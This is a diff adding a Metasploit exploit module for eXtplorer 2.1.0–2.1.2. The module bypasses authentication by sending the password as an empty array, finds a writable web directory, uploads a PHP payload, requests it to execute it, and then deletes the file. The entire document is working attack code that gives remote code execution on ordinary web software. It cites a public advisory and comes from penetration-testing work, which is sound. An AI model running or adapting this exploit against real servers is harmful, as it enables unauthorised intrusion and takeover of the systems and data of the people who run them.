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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an authentication bypass vulnerability in eXtplorer |
| 20 | + versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application. |
| 21 | + This application has an upload feature that allows an authenticated user |
| 22 | + with administrator roles to upload arbitrary files to any writable |
| 23 | + directory in the web root. This module uses an authentication bypass |
| 24 | + vulnerability to upload and execute a file. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'], |
| 34 | + ['URL', 'http://extplorer.net/issues/105'] |
| 35 | + ], |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'BadChars' => "\x00" |
| 39 | + }, |
| 40 | + 'DefaultOptions' => |
| 41 | + { |
| 42 | + 'ExitFunction' => "none" |
| 43 | + }, |
| 44 | + 'Platform' => 'php', |
| 45 | + 'Arch' => ARCH_PHP, |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['Automatic Targeting', { 'auto' => true }] |
| 49 | + ], |
| 50 | + 'Privileged' => false, |
| 51 | + 'DisclosureDate' => "Dec 31 2012", |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']), |
| 57 | + OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin']) |
| 58 | + ], self.class) |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + |
| 63 | + base = target_uri.path |
| 64 | + base << '/' if base[-1, 1] != '/' |
| 65 | + peer = "#{rhost}:#{rport}" |
| 66 | + |
| 67 | + # retrieve software version from ./extplorer.xml |
| 68 | + begin |
| 69 | + res = send_request_cgi({ |
| 70 | + 'method' => 'GET', |
| 71 | + 'uri' => "#{base}extplorer.xml" |
| 72 | + }) |
| 73 | + |
| 74 | + return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/ |
| 75 | + return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/ |
| 76 | + return Exploit::CheckCode::Safe |
| 77 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 78 | + print_error("#{peer} - Connection failed") |
| 79 | + end |
| 80 | + return Exploit::CheckCode::Unknown |
| 81 | + |
| 82 | + end |
| 83 | + |
| 84 | + def on_new_session(client) |
| 85 | + if client.type == "meterpreter" |
| 86 | + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") |
| 87 | + client.fs.file.rm("#{@fname}") |
| 88 | + else |
| 89 | + client.shell_command_token("rm #{@fname}") |
| 90 | + end |
| 91 | + end |
| 92 | + |
| 93 | + def upload(base, dir, fname, file) |
| 94 | + |
| 95 | + boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" |
| 96 | + data_post = "--#{boundary}\r\n" |
| 97 | + data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n" |
| 98 | + data_post << "Content-Type: application/x-httpd-php\r\n" |
| 99 | + data_post << "\r\n#{file}\r\n" |
| 100 | + data_post << "--#{boundary}\r\n" |
| 101 | + data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n" |
| 102 | + data_post << "--#{boundary}\r\n" |
| 103 | + data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n" |
| 104 | + data_post << "--#{boundary}\r\n" |
| 105 | + data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n" |
| 106 | + data_post << "--#{boundary}\r\n" |
| 107 | + data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n" |
| 108 | + data_post << "--#{boundary}\r\n" |
| 109 | + data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n" |
| 110 | + data_post << "--#{boundary}\r\n" |
| 111 | + data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n" |
| 112 | + data_post << "--#{boundary}\r\n" |
| 113 | + |
| 114 | + res = send_request_cgi({ |
| 115 | + 'method' => 'POST', |
| 116 | + 'uri' => "#{base}index.php", |
| 117 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 118 | + 'data' => data_post, |
| 119 | + 'cookie' => datastore['COOKIE'], |
| 120 | + }) |
| 121 | + |
| 122 | + return res |
| 123 | + end |
| 124 | + |
| 125 | + def auth_bypass(base, user) |
| 126 | + |
| 127 | + res = send_request_cgi({ |
| 128 | + 'method' => 'POST', |
| 129 | + 'uri' => "#{base}index.php", |
| 130 | + 'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=", |
| 131 | + 'cookie' => datastore['COOKIE'], |
| 132 | + }) |
| 133 | + return res |
| 134 | + |
| 135 | + end |
| 136 | + |
| 137 | + def exploit |
| 138 | + |
| 139 | + base = target_uri.path |
| 140 | + base << '/' if base[-1, 1] != '/' |
| 141 | + @peer = "#{rhost}:#{rport}" |
| 142 | + @fname= rand_text_alphanumeric(rand(10)+6) + '.php' |
| 143 | + user = datastore['USERNAME'] |
| 144 | + datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";" |
| 145 | + |
| 146 | + # bypass auth |
| 147 | + print_status("#{@peer} - Authenticating as user (#{user})") |
| 148 | + res = auth_bypass(base, user) |
| 149 | + if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ |
| 150 | + print_status("#{@peer} - Authenticated successfully") |
| 151 | + else |
| 152 | + print_error("#{@peer} - Authentication failed") |
| 153 | + return |
| 154 | + end |
| 155 | + |
| 156 | + # search for writable directories |
| 157 | + print_status("#{@peer} - Retrieving writable subdirectories") |
| 158 | + begin |
| 159 | + res = send_request_cgi({ |
| 160 | + 'method' => 'POST', |
| 161 | + 'uri' => "#{base}index.php", |
| 162 | + 'cookie' => datastore['COOKIE'], |
| 163 | + 'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root", |
| 164 | + }) |
| 165 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 166 | + print_error("#{@peer} - Connection failed") |
| 167 | + return |
| 168 | + end |
| 169 | + if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ |
| 170 | + dir = "#{base}#{$1}" |
| 171 | + print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})") |
| 172 | + else |
| 173 | + dir = "#{base}" |
| 174 | + print_error("#{@peer} - Could not find a writable subdirectory.") |
| 175 | + end |
| 176 | + |
| 177 | + # upload PHP payload |
| 178 | + print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}") |
| 179 | + php = %Q|<?php #{payload.encoded} ?>| |
| 180 | + begin |
| 181 | + res = upload(base, dir, @fname, php) |
| 182 | + if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/ |
| 183 | + print_good("#{@peer} - File uploaded successfully") |
| 184 | + else |
| 185 | + print_error("#{@peer} - Uploading PHP payload failed") |
| 186 | + return |
| 187 | + end |
| 188 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 189 | + print_error("#{@peer} - Connection failed") |
| 190 | + return |
| 191 | + end |
| 192 | + |
| 193 | + # search directories in the web root for the file |
| 194 | + print_status("#{@peer} - Searching directories for file (#{@fname})") |
| 195 | + begin |
| 196 | + res = send_request_cgi({ |
| 197 | + 'method' => 'POST', |
| 198 | + 'uri' => "#{base}index.php", |
| 199 | + 'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}", |
| 200 | + 'cookie' => datastore['COOKIE'], |
| 201 | + }) |
| 202 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 203 | + print_error("#{@peer} - Connection failed") |
| 204 | + return |
| 205 | + end |
| 206 | + if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/ |
| 207 | + dir = $1.gsub('\\','') |
| 208 | + print_good("#{@peer} - Successfully found file") |
| 209 | + else |
| 210 | + print_error("#{@peer} - Failed to find file") |
| 211 | + end |
| 212 | + |
| 213 | + # retrieve and execute PHP payload |
| 214 | + print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})") |
| 215 | + begin |
| 216 | + send_request_cgi({ |
| 217 | + 'method' => 'GET', |
| 218 | + 'uri' => "/#{dir}/#{@fname}" |
| 219 | + }) |
| 220 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 221 | + print_error("#{@peer} - Connection failed") |
| 222 | + return |
| 223 | + end |
| 224 | + if res and res.code != 200 |
| 225 | + print_error("#{@peer} - Executing payload failed") |
| 226 | + end |
| 227 | + end |
| 228 | +end |
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